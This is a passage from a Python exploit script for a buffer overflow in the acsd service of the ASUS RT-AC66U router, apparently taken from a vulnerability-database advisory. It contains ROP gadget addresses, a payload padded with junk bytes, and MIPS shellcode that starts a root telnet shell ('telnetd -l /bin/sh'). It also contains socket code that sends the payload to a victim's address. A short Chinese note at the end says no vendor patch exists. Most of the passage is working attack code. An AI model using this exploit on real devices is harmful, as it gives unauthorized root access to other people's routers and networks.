# ROP gadget #4
# move t9,a1
# addiu a0,a0,56
# jr t9
# move a1,a2
ra3 = struct.pack("<L", libc_base + 0x3167c)
# jalr sp
jalr_sp = "\x09\xf8\xa0\x03"
JuNk = "\x42" * 510
safeNop = "2Aa3"
#80 Bytes system() Shellcode by Jacob Holcomb of ISE
#Calling system() and executing telnetd -l /bin/sh
shellcode = "\x6c\x6e\x08\x3c\x74\x65\x08\x35\xec\xff\xa8"
shellcode += "\xaf\x64\x20\x09\x3c\x65\x74\x29\x35\xf0\xff"
shellcode += "\xa9\xaf\x20\x2f\x0a\x3c\x2d\x6c\x4a\x35\xf4"
shellcode += "\xff\xaa\xaf\x6e\x2f\x0b\x3c\x62\x69\x6b\x35"
shellcode += "\xf8\xff\xab\xaf\x73\x68\x0c\x24\xfc\xff\xac"
shellcode += "\xaf\xec\xff\xa4\x23\xec\xff\xbd\x23\xb4\x2a"
shellcode += "\x19\x3c\x50\xf0\x39\x37\x09\xf8\x20\x03\x32"
shellcode += "\x41\x61\x33"
sploit = acsdCmd + JuNk + s1 + JuNk[0:4] + s3 + ra1 + JuNk[0:48]
sploit += ra2 + JuNk[0:24]+ jalr_sp + safeNop + ra3 + JuNk[0:4]
sploit += safeNop + shellcode
try:
print "\n [*] Creating network socket."
net_sock = socket(AF_INET, SOCK_STREAM)
except:
print "\n [!!!] There was an error creating the network socket. [!!!]\n\n%s\n" % exc_info()
sleep(1)
exit(0)
try:
print " [*] Connecting to ASUS RT-AC66U router @ %s on port TCP/%d." % (victim, port)
net_sock.connect((victim, port))
except:
print "\n [!!!] There was an error connecting to %s. [!!!]\n\n%s\n" % (victim, exc_info())
sleep(1)
exit(0)
try:
print """ [*] Attempting to exploit the acsd param command.
[*] Sending 1337 ro0t Sh3ll exploit to %s on TCP port %d.
[*] Payload Length: %d bytes.""" % (victim, port, len(sploit))
net_sock.send(sploit)
sleep(1)
except:
print "\n [!!!] There was an error sending the 1337 ro0t Sh3ll exploit to %s [!!!]\n\n%s\n" % (victim, exc_info())
sleep(1)
exit(0)
try:
print """ [*] 1337 ro0t Sh3ll exploit was sent! Fingers crossed for code execution!
[*] Closing network socket. Press ctrl + c repeatedly to force exploit cleanup.\n"""
net_sock.close()
except:
print "\n [!!!] There was an error closing the network socket. [!!!]\n\n%s\n" % exc_info()
sleep(1)
exit(0)
if __name__ == "__main__":
main()
建议：
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厂商补丁：
Asus
----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
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